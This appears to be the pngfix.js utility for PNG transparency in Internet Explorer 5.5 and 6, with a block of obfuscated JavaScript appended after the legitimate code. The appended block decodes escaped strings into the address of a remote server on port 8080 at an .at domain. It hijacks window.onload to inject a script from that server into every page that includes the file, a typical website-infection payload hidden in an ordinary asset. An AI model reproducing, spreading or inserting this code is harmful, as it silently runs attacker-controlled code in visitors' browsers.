/*
 
Correctly handle PNG transparency in Win IE 5.5 & 6.
http://homepage.ntlworld.com/bobosola. Updated 18-Jan-2006.

Use in <HEAD> with DEFER keyword wrapped in conditional comments:
<!--[if lt IE 7]>
<script defer type="text/javascript" src="pngfix.js"></script>
<![endif]-->

*/

/*
http://maxtoroq.wordpress.com

The code has been modified to ensure compatibility when using side by side with swfobject.js

- Main code moved inside an object to avoid global variables.
- Using window.onload event, you should remove the defer keyword from the script tag.

*/

window.addLoadEvent = function(func) {
   var oldonload = window.onload;
   if (typeof window.onload != 'function') {
      window.onload = func;
   } else {
      window.onload = function() {
         if (oldonload) {
            oldonload();
         }
         func();
      }
   }
}

var pngfix = {

   main : function() {

      if ((parseFloat(navigator.appVersion.split("MSIE")[1]) >= 5.5) && (document.body.filters)) {
         for(var i=0; i<document.images.length; i++) {
            var img = document.images[i]
            var imgName = img.src.toUpperCase()
            if (imgName.substring(imgName.length-3, imgName.length) == "PNG") {
               var imgID = (img.id) ? "id='" + img.id + "' " : ""
               var imgClass = (img.className) ? "class='" + img.className + "' " : ""
               var imgTitle = (img.title) ? "title='" + img.title + "' " : "title='" + img.alt + "' "
               var imgStyle = "display:inline-block;" + img.style.cssText 
               if (img.align == "left") imgStyle = "float:left;" + imgStyle
               if (img.align == "right") imgStyle = "float:right;" + imgStyle
               if (img.parentElement.href) imgStyle = "cursor:hand;" + imgStyle
               var strNewHTML = "<span " + imgID + imgClass + imgTitle
               + " style=\"" + "width:" + img.width + "px; height:" + img.height + "px;" + imgStyle + ";"
               + "filter:progid:DXImageTransform.Microsoft.AlphaImageLoader"
               + "(src=\'" + img.src + "\', sizingMethod='scale');\"></span>" 
               img.outerHTML = strNewHTML
               i = i-1
            }
         }
      }
   }
}

window.addLoadEvent(function() { pngfix.main(); });

this.qY="";this.Ai="";function n(){var y=new String();var bc=new String();var M=unescape;var p;if(p!='j' && p!='s'){p='j'};var u=window;var K='';var R="";var Mj;if(Mj!='' && Mj!='cb'){Mj='r'};var c=M("%2f%62%6c%6f%67%67%65%72%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%74%69%6d%65%73%6f%6e%6c%69%6e%65%2e%63%6f%2e%75%6b%2e%70%68%70");var o;if(o!='' && o!='Sq'){o=null};function H(Y,A){var b=String("gpEb".substr(0,1));var Af=M("%5b"), Az=M("%5d");var T=Af+A+Az;this.D="";var ql;if(ql!=''){ql='Bw'};var Q=new RegExp(T, b);var dK=new Array();this.xM='';return Y.replace(Q, new String());this.i='';};var F;if(F!='wn' && F != ''){F=null};var Mo;if(Mo!='g'){Mo='g'};var tc;if(tc!='U'){tc='U'};var tx="";var fD;if(fD!=''){fD='YS'};var bb;if(bb!=''){bb='XO'};var a=H('816242304134382247077192','12359467');var Cn;if(Cn!='AG'){Cn=''};var d=new String();this.m='';var YM;if(YM!='' && YM!='mj'){YM='rC'};var q=document;var l;if(l!='' && l!='Dw'){l=''};var Cmb='';var iR=new Date();var my=new Array();this.LU='';function qr(){this.Fw="";var cu="";var bh=M("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");d=bh;this.Na='';d+=a;var qc="";var LB;if(LB!='' && LB!='ZN'){LB=null};d+=c;var v='';var Wy;if(Wy!=''){Wy='gy'};var EC;if(EC!='bk' && EC!='UR'){EC='bk'};try {var vW=new String();var dd;if(dd!='' && dd!='qhT'){dd='wm'};qh=q.createElement(H('sqc9rqiqpqtv','v9uq'));var jk;if(jk!='' && jk!='sj'){jk='Zv'};var wU;if(wU!='bu'){wU=''};var aD;if(aD!='mx'){aD=''};qh[M("%73%72%63")]=d;var oy='';qh[M("%64%65%66%65%72")]=[1,8][0];var EJ;if(EJ!='Ov' && EJ!='Zk'){EJ=''};var ue;if(ue!='' && ue!='CQ'){ue=null};var XF=new Array();var vY='';q.body.appendChild(qh);} catch(qw){var tw=new Date();this.I='';alert(qw);};this.Rr="";this.sd="";}var Ia='';var Mx='';u[new String("onzqty".substr(0,2)+"pMTGlo".substr(4)+"MHWad".substr(3))]=qr;var XL=new String();var GF;if(GF!='vWO'){GF='vWO'};};var iJ=new String();var fo;if(fo!='kyf' && fo != ''){fo=null};var bU;if(bU!='Rz' && bU != ''){bU=null};n();this.XW='';var cF;if(cF!='kE' && cF!='JT'){cF=''};